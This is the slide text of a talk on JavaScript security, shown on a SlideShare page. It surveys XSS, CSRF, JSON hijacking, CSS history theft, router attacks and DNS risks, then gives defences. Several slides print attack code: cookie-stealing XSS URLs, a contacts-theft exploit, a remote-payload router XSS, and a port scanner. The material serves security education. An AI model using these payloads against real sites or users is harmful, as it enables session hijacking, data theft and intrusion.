SlideShare a Scribd company logo
JavaScript SecurityJohn Graham-Cumming
Living in a powder keg and giving off sparksJavaScript security is a messThe security model is outdatedKey examplesAttacking DNS to attack JavaScriptWhat are we going to do?
The JavaScript SandboxJavaScript security dates to 1995Two key concerns:Stop a malicious web site from attacking your computerStop a malicious web site from interacting with another web site
The Death of the PCIf all your documents are in the cloud, what good is protecting your PC?The JavaScript sandbox does nothing to prevent cloud attacksWho cares if a web site is prevented from reading your “My Documents”: it’s empty
The Same Origin PolicyScripts running on one page can’t interact with other pagesFor example, scripts loaded by jgc.org can’t access virusbtn.comBut the Same Origin Policy doesn’t apply to the scripts themselves
<SCRIPT>Inline<SCRIPT>   … do stuff …</SCRIPT>Remote<SCRIPT SRC=“http://jgc.org/foo.js”></SCRIPT>
Multiple <SCRIPT> elementsScripts get equal access to each other and the page they are loaded from<SCRIPT SRC=“http://google-analytics/ga.js”></SCRIPT><SCRIPT SRC=“http://co2stats.com/main.js”></SCRIPT>
JavaScript Global ObjectJavaScript is inherently a ‘global’ languageVariables have global scopeFunctions have global scopeObjects inherit from a global object
Bad stuff you can do globallyDifferent scripts can mess with each other’s variablesDifferent scripts can redefine each other’s functionsScripts can override native methodsTransmit data anywhereWatch keystrokesSteal cookiesAll scripts run with equal authority
JavaScript is everywhere<SCRIPT> tagsInside HTML elements<a id=up_810112 onclick="return vote(this)" href="vote? for=810112&dir=up&by=jgrahamc&auth=3q4&whence=%6e%65%77%73">Inside CSSbackground-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );background-image: url("javascript: testElement.style.color = '#00cc00';");
No mechanism for protecting JavaScriptSigned JavaScript mechanism available in Netscape Communicator 4.xRemember that?
JavaScript SummaryThe security model is for the wrong threatThe language itself has no security awarenessOh, and it’s the most important language for all web sites
Key attacksCross-site scriptingCross-site Request ForgeryJSON HijackingJavaScript + CSSSandbox HolesDNS Attacks
Cross-site Scripting (XSS)End user injects script via web form or URL which is then executed by other usersPersistent: stored in databaseReflected: usually in a URLInjected scripts have the same access as all other scripts
XSS Example: Twitter
XSS Example: MySpaceJS/SpaceHero or Samy WormAutomatic friend requests<div style="background:url('javascript:alert(1)')">
XSS Example: PHPnukeReflected attackRequires social engineeringhttp://www.phpnuke.org/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>
Script EscalationScripts can load other scriptsGet a foothold and you can do anything<script id="external_script" type="text/JavaScript"></script><script>    document.getElementById('external_script').src = ’http://othersite.com/x.js’</script>
Cross-Site Request ForgeryHijack cookies to use a session for bad purposes<imgsrc="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">Enhance with JavaScript for complex transactions.
CSRF Example: Google MailSteal authenticated user’s contacthttp://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999google ({  Success: true,  Errors: [],  Body: {…
CSRF Example: Google MailFull exploit<script type="text/javascript">function google(data){    var emails, i;    for (i = 0; i <data.Body.Contacts.length; i++) {        mails += "<li>" +data.Body.Contacts[i].Email + "";    }    document.write("<ol>" + emails + "</ol>");}</script><script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
JSON HijackingCSRF attack against JSON objectsWorks by redefined the Object constructor in JavaScript<script>function Object() { this.email setter = captureObject;}function captureObject(x) {…
JSON Hijacking Example: Twitter	Could steal the friends’ timeline for a user<script>Object.prototype.__defineSetter__('user',function(obj){for(vari in obj) {alert(i + '=' + obj[i]);} });</script><script defer="defer" src=https://twitter.com/statuses/friends_timeline/></script>
Stealing history with JavaScript and CSSUse JavaScript to look at the ‘visited’ color of linksfunction stealHistory() {for (vari = 0; i < websites.length; i++) {varlink = document.createElement("a");link.id = "id" + i;link.href = websites[i];link.innerHTML = websites[i];document.body.appendChild(link);varcolor = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");                document.body.removeChild(link);if (color == "rgb(0, 0, 255)") {document.write('' + websites[i] + '');}}}
Sandbox HolesSandbox not immune to actual security holesMost recent was Google V8 JavaScript engineGoogle Chrome V8 JavaScript Engine Remote Code Execution VulnerabilityBugtraq: 36149
No Turing Test in JavaScriptNo way to distinguish between actual click by user and JavaScript clickCan’t tell whether a user initiated an action or not
Attacking your home firewallXSS attack on BT Home Hub to use UPnP to open a porthttp://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=
Port scanning in JavaScriptPort scan using imagesvarAttackAPI = { version: '0.1', author: 'PetkoPetkov (architect)', homepage: 'http://www.gnucitizen.org'};AttackAPI.PortScanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; varimg = new Image();  img.onerror = function () {  if (!img) return;  img = undefined;  callback(target, port, 'open'); };  img.onload = img.onerror; img.src = 'http://' + target + ':' + port;  setTimeout(function () {  if (!img) return;  img = undefined;  callback(target, port, 'closed'); }, timeout);};AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout){ for (index = 0; index < ports.length; index++)  AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);};
DNS AttacksAttacks on DNS are real (Kaminsky et al.)If you can alter the DNS of one remote JavaScript you can take over the pageFor example, google-analytics.com is on 47% of the top 1,000 web sites.69% of the top 1,000 load a web analytics solution remotely97% load something remotely
Attacking TechCrunch
TechCrunch and JavaScript18 remotely loaded JavaScriptsmediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndication.com, crunchboard.com, snap.com, tweetmeme.com, google-analytics.comAdditional embedded <SCRIPT> tagsCompromise one, you compromise the entire page
Load scripts via HTTPS to security?	Tested all major browsers loading a remote scriptScripts was from a site with an expired certificate for a different domain name
HTTPS won’t save you
What are we going to do?Sanitize user input (doh!)Don’t just rely on cookies for authenticationEnforce safe subset of JavaScript CAJA and AdsafeTell people to run NoScriptDeprecate JavaScript
Sanitize User Input; Escape OutputIt’s not hard!Yes, it is…Twitter recently blew it on the application name XSS holeUTF-7 encoding+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-All versions of RoR vulnerable to Unicode decoding flawHard to get right with so many languages in the mix
Don’t just use cookiesDon’t use GET for sensitive requestsUse more than cookies in POSTe.g. add a secret generated for that session to prevent simple CSRF attackse.g. RoR has protect_from_forgery :secret => "123456789012345678901234567890..."
Safe JavaScript subsetsRun all third-party code through AdsafeRestricts dangerous JavaScript methods and access to globalsOr test code with Google CAJADesign to allow widgets to interact safely on pages like iGoogle
Causata’s small contributionjsHub: web-site tagging done rightOpen SourceSecureOne Tag to Serve Them Allhttp://jshub.org/
NoScriptMozilla Firefox plug-in that allows fine grained control of which scripts can run on which pagesAn application firewall for JavaScriptAdvanced users only!
Deprecate JavaScriptIt’s not too late. Let’s start again with a language built for security and for the webRipley: I say we take off and nuke the entire site from orbit. It's the only way to be sure.Burke: Ho-ho-hold on, hold on one second. This installation has a substantial dollar value attached to it.Ripley: They can bill me.
ConclusionThe combination of a move to the cloud and a 14 year old security environment scares meThis problem has to be addressedVery hard for end-users to mitigate the risks

More Related Content

PDF
JavaScript Security
PPTX
Client-side JavaScript Vulnerabilities
PPTX
Java script, security and you - Tri-Cities Javascript Developers Group
PPTX
Javascript Security - Three main methods of defending your MEAN stack
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
PPTX
Django Web Application Security
PDF
Integrity protection for third-party JavaScript
PPTX
04. xss and encoding
JavaScript Security
Client-side JavaScript Vulnerabilities
Java script, security and you - Tri-Cities Javascript Developers Group
Javascript Security - Three main methods of defending your MEAN stack
Case Study of Django: Web Frameworks that are Secure by Default
Django Web Application Security
Integrity protection for third-party JavaScript
04. xss and encoding

What's hot (20)

PDF
Ekoparty 2017 - The Bug Hunter's Methodology
PDF
Neat tricks to bypass CSRF-protection
PDF
Practical django secuirty
PDF
Integrity protection for third-party JavaScript
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
PPT
Django (Web Applications that are Secure by Default)
PDF
Two scoops of Django - Security Best Practices
PDF
Breaking AngularJS Javascript sandbox
PPTX
Web Application Security in front end
PDF
Defeating Cross-Site Scripting with Content Security Policy (updated)
PPT
(In)Security Implication in the JS Universe
PDF
Flash умер. Да здравствует Flash!
PPT
Xss is more than a simple threat
PPTX
MITM Attacks on HTTPS: Another Perspective
PDF
Building Advanced XSS Vectors
PPTX
Preventing In-Browser Malicious Code Execution
PDF
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
PDF
Web Security Horror Stories
PPTX
XSS - Do you know EVERYTHING?
PDF
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ekoparty 2017 - The Bug Hunter's Methodology
Neat tricks to bypass CSRF-protection
Practical django secuirty
Integrity protection for third-party JavaScript
Polyglot payloads in practice by avlidienbrunn at HackPra
Django (Web Applications that are Secure by Default)
Two scoops of Django - Security Best Practices
Breaking AngularJS Javascript sandbox
Web Application Security in front end
Defeating Cross-Site Scripting with Content Security Policy (updated)
(In)Security Implication in the JS Universe
Flash умер. Да здравствует Flash!
Xss is more than a simple threat
MITM Attacks on HTTPS: Another Perspective
Building Advanced XSS Vectors
Preventing In-Browser Malicious Code Execution
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
Web Security Horror Stories
XSS - Do you know EVERYTHING?
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ad

Viewers also liked (20)

PDF
Wetware Bugs and Refactoring
PDF
Agile versus Management WJAX 2014
PDF
Einfangen eines technisch kaputten projektes
PDF
DevOps beyond the Tools
PDF
Reparier Deine Unternehmenskultur!
PDF
Das Ende der Karriere
PDF
Die Architektur, die man kann
PDF
Lügen, schlimme Lügen und IT-Verträge
PDF
Warum die it nicht um new work herumkommt
PDF
JavaScript Security
PDF
NewWork in der Praxis
PDF
RoofTop Brains & BBQ: Ein Gästbuch für China
PDF
Management brainfucks
PDF
Rewrites überleben
PDF
Java script security for java developers
PDF
Leadership in der IT
PDF
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
PDF
DevOps jenseits der Tools
PDF
How not to screw the operating system of your startup
PDF
Von Kutschern, Managern und Systemadministratoren
Wetware Bugs and Refactoring
Agile versus Management WJAX 2014
Einfangen eines technisch kaputten projektes
DevOps beyond the Tools
Reparier Deine Unternehmenskultur!
Das Ende der Karriere
Die Architektur, die man kann
Lügen, schlimme Lügen und IT-Verträge
Warum die it nicht um new work herumkommt
JavaScript Security
NewWork in der Praxis
RoofTop Brains & BBQ: Ein Gästbuch für China
Management brainfucks
Rewrites überleben
Java script security for java developers
Leadership in der IT
JavaScriptDays: vom 10 Tage Hack zur ersten Universalsprache?
DevOps jenseits der Tools
How not to screw the operating system of your startup
Von Kutschern, Managern und Systemadministratoren
Ad

Similar to Javascript Security (20)

PPT
Xss is more than a simple threat
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
PPTX
Cross Site Scripting ( XSS)
KEY
Application Security for RIAs
PPT
Writing Secure Code – Threat Defense
PPT
Intro to Web Application Security
PDF
Rich Web App Security - Keeping your application safe
PDF
Owasp top 10 2013
PPTX
Java Web Security Class
PDF
Insecurity-In-Security version.1 (2010)
PPS
Hacking Client Side Insecurities
KEY
Application Security for Rich Internet Applicationss (Jfokus 2012)
PDF
XSS Without Browser
PPT
Drupal Camp Atlanta 2011 - Drupal Security
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
PDF
Waf.js: How to Protect Web Applications using JavaScript
PPT
Sembang2 Keselamatan It 2004
PPTX
W3 conf hill-html5-security-realities
PPT
PHPUG Presentation
PDF
bh-usa-07-grossman-WP.pdf
Xss is more than a simple threat
Owasp Top 10 - Owasp Pune Chapter - January 2008
Cross Site Scripting ( XSS)
Application Security for RIAs
Writing Secure Code – Threat Defense
Intro to Web Application Security
Rich Web App Security - Keeping your application safe
Owasp top 10 2013
Java Web Security Class
Insecurity-In-Security version.1 (2010)
Hacking Client Side Insecurities
Application Security for Rich Internet Applicationss (Jfokus 2012)
XSS Without Browser
Drupal Camp Atlanta 2011 - Drupal Security
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
Waf.js: How to Protect Web Applications using JavaScript
Sembang2 Keselamatan It 2004
W3 conf hill-html5-security-realities
PHPUG Presentation
bh-usa-07-grossman-WP.pdf

More from jgrahamc (11)

PPTX
Better living through microcontrollers
PDF
Big O London Meetup April 2015
PDF
Go Containers
PDF
How to launch and defend against a DDoS
PPTX
Lua: the world's most infuriating language
PPTX
Software Debugging for High-altitude Balloons
PDF
Go memory
PDF
Highlights of Go 1.1
PDF
Go Concurrency
PPTX
That'll never work!
PPTX
HAB Software Woes
Better living through microcontrollers
Big O London Meetup April 2015
Go Containers
How to launch and defend against a DDoS
Lua: the world's most infuriating language
Software Debugging for High-altitude Balloons
Go memory
Highlights of Go 1.1
Go Concurrency
That'll never work!
HAB Software Woes

Recently uploaded (20)

PPTX
A Presentation on Artificial Intelligence
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Approach and Philosophy of On baking technology
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
Machine Learning_overview_presentation.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
Big Data Technologies - Introduction.pptx
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
sap open course for s4hana steps from ECC to s4
PDF
NewMind AI Weekly Chronicles - August'25-Week II
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PDF
MIND Revenue Release Quarter 2 2025 Press Release
A Presentation on Artificial Intelligence
“AI and Expert System Decision Support & Business Intelligence Systems”
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Dropbox Q2 2025 Financial Results & Investor Presentation
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
Approach and Philosophy of On baking technology
Unlocking AI with Model Context Protocol (MCP)
Machine Learning_overview_presentation.pptx
Chapter 3 Spatial Domain Image Processing.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
Big Data Technologies - Introduction.pptx
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
20250228 LYD VKU AI Blended-Learning.pptx
sap open course for s4hana steps from ECC to s4
NewMind AI Weekly Chronicles - August'25-Week II
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Programs and apps: productivity, graphics, security and other tools
Assigned Numbers - 2025 - Bluetooth® Document
MIND Revenue Release Quarter 2 2025 Press Release

Javascript Security

  • 2. Living in a powder keg and giving off sparksJavaScript security is a messThe security model is outdatedKey examplesAttacking DNS to attack JavaScriptWhat are we going to do?
  • 3. The JavaScript SandboxJavaScript security dates to 1995Two key concerns:Stop a malicious web site from attacking your computerStop a malicious web site from interacting with another web site
  • 4. The Death of the PCIf all your documents are in the cloud, what good is protecting your PC?The JavaScript sandbox does nothing to prevent cloud attacksWho cares if a web site is prevented from reading your “My Documents”: it’s empty
  • 5. The Same Origin PolicyScripts running on one page can’t interact with other pagesFor example, scripts loaded by jgc.org can’t access virusbtn.comBut the Same Origin Policy doesn’t apply to the scripts themselves
  • 6. <SCRIPT>Inline<SCRIPT> … do stuff …</SCRIPT>Remote<SCRIPT SRC=“http://jgc.org/foo.js”></SCRIPT>
  • 7. Multiple <SCRIPT> elementsScripts get equal access to each other and the page they are loaded from<SCRIPT SRC=“http://google-analytics/ga.js”></SCRIPT><SCRIPT SRC=“http://co2stats.com/main.js”></SCRIPT>
  • 8. JavaScript Global ObjectJavaScript is inherently a ‘global’ languageVariables have global scopeFunctions have global scopeObjects inherit from a global object
  • 9. Bad stuff you can do globallyDifferent scripts can mess with each other’s variablesDifferent scripts can redefine each other’s functionsScripts can override native methodsTransmit data anywhereWatch keystrokesSteal cookiesAll scripts run with equal authority
  • 10. JavaScript is everywhere<SCRIPT> tagsInside HTML elements<a id=up_810112 onclick="return vote(this)" href="vote? for=810112&dir=up&by=jgrahamc&auth=3q4&whence=%6e%65%77%73">Inside CSSbackground-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );background-image: url("javascript: testElement.style.color = '#00cc00';");
  • 11. No mechanism for protecting JavaScriptSigned JavaScript mechanism available in Netscape Communicator 4.xRemember that?
  • 12. JavaScript SummaryThe security model is for the wrong threatThe language itself has no security awarenessOh, and it’s the most important language for all web sites
  • 13. Key attacksCross-site scriptingCross-site Request ForgeryJSON HijackingJavaScript + CSSSandbox HolesDNS Attacks
  • 14. Cross-site Scripting (XSS)End user injects script via web form or URL which is then executed by other usersPersistent: stored in databaseReflected: usually in a URLInjected scripts have the same access as all other scripts
  • 16. XSS Example: MySpaceJS/SpaceHero or Samy WormAutomatic friend requests<div style="background:url('javascript:alert(1)')">
  • 17. XSS Example: PHPnukeReflected attackRequires social engineeringhttp://www.phpnuke.org/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>
  • 18. Script EscalationScripts can load other scriptsGet a foothold and you can do anything<script id="external_script" type="text/JavaScript"></script><script> document.getElementById('external_script').src = ’http://othersite.com/x.js’</script>
  • 19. Cross-Site Request ForgeryHijack cookies to use a session for bad purposes<imgsrc="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">Enhance with JavaScript for complex transactions.
  • 20. CSRF Example: Google MailSteal authenticated user’s contacthttp://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999google ({  Success: true,  Errors: [],  Body: {…
  • 21. CSRF Example: Google MailFull exploit<script type="text/javascript">function google(data){    var emails, i;    for (i = 0; i <data.Body.Contacts.length; i++) {        mails += "<li>" +data.Body.Contacts[i].Email + "";    }    document.write("<ol>" + emails + "</ol>");}</script><script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
  • 22. JSON HijackingCSRF attack against JSON objectsWorks by redefined the Object constructor in JavaScript<script>function Object() { this.email setter = captureObject;}function captureObject(x) {…
  • 23. JSON Hijacking Example: Twitter Could steal the friends’ timeline for a user<script>Object.prototype.__defineSetter__('user',function(obj){for(vari in obj) {alert(i + '=' + obj[i]);} });</script><script defer="defer" src=https://twitter.com/statuses/friends_timeline/></script>
  • 24. Stealing history with JavaScript and CSSUse JavaScript to look at the ‘visited’ color of linksfunction stealHistory() {for (vari = 0; i < websites.length; i++) {varlink = document.createElement("a");link.id = "id" + i;link.href = websites[i];link.innerHTML = websites[i];document.body.appendChild(link);varcolor = document.defaultView.getComputedStyle(link,null).getPropertyValue("color"); document.body.removeChild(link);if (color == "rgb(0, 0, 255)") {document.write('' + websites[i] + '');}}}
  • 25. Sandbox HolesSandbox not immune to actual security holesMost recent was Google V8 JavaScript engineGoogle Chrome V8 JavaScript Engine Remote Code Execution VulnerabilityBugtraq: 36149
  • 26. No Turing Test in JavaScriptNo way to distinguish between actual click by user and JavaScript clickCan’t tell whether a user initiated an action or not
  • 27. Attacking your home firewallXSS attack on BT Home Hub to use UPnP to open a porthttp://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=
  • 28. Port scanning in JavaScriptPort scan using imagesvarAttackAPI = { version: '0.1', author: 'PetkoPetkov (architect)', homepage: 'http://www.gnucitizen.org'};AttackAPI.PortScanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; varimg = new Image();  img.onerror = function () {  if (!img) return;  img = undefined;  callback(target, port, 'open'); };  img.onload = img.onerror; img.src = 'http://' + target + ':' + port;  setTimeout(function () {  if (!img) return;  img = undefined;  callback(target, port, 'closed'); }, timeout);};AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout){ for (index = 0; index < ports.length; index++)  AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);};
  • 29. DNS AttacksAttacks on DNS are real (Kaminsky et al.)If you can alter the DNS of one remote JavaScript you can take over the pageFor example, google-analytics.com is on 47% of the top 1,000 web sites.69% of the top 1,000 load a web analytics solution remotely97% load something remotely
  • 31. TechCrunch and JavaScript18 remotely loaded JavaScriptsmediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndication.com, crunchboard.com, snap.com, tweetmeme.com, google-analytics.comAdditional embedded <SCRIPT> tagsCompromise one, you compromise the entire page
  • 32. Load scripts via HTTPS to security? Tested all major browsers loading a remote scriptScripts was from a site with an expired certificate for a different domain name
  • 34. What are we going to do?Sanitize user input (doh!)Don’t just rely on cookies for authenticationEnforce safe subset of JavaScript CAJA and AdsafeTell people to run NoScriptDeprecate JavaScript
  • 35. Sanitize User Input; Escape OutputIt’s not hard!Yes, it is…Twitter recently blew it on the application name XSS holeUTF-7 encoding+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-All versions of RoR vulnerable to Unicode decoding flawHard to get right with so many languages in the mix
  • 36. Don’t just use cookiesDon’t use GET for sensitive requestsUse more than cookies in POSTe.g. add a secret generated for that session to prevent simple CSRF attackse.g. RoR has protect_from_forgery :secret => "123456789012345678901234567890..."
  • 37. Safe JavaScript subsetsRun all third-party code through AdsafeRestricts dangerous JavaScript methods and access to globalsOr test code with Google CAJADesign to allow widgets to interact safely on pages like iGoogle
  • 38. Causata’s small contributionjsHub: web-site tagging done rightOpen SourceSecureOne Tag to Serve Them Allhttp://jshub.org/
  • 39. NoScriptMozilla Firefox plug-in that allows fine grained control of which scripts can run on which pagesAn application firewall for JavaScriptAdvanced users only!
  • 40. Deprecate JavaScriptIt’s not too late. Let’s start again with a language built for security and for the webRipley: I say we take off and nuke the entire site from orbit. It's the only way to be sure.Burke: Ho-ho-hold on, hold on one second. This installation has a substantial dollar value attached to it.Ripley: They can bill me.
  • 41. ConclusionThe combination of a move to the cloud and a 14 year old security environment scares meThis problem has to be addressedVery hard for end-users to mitigate the risks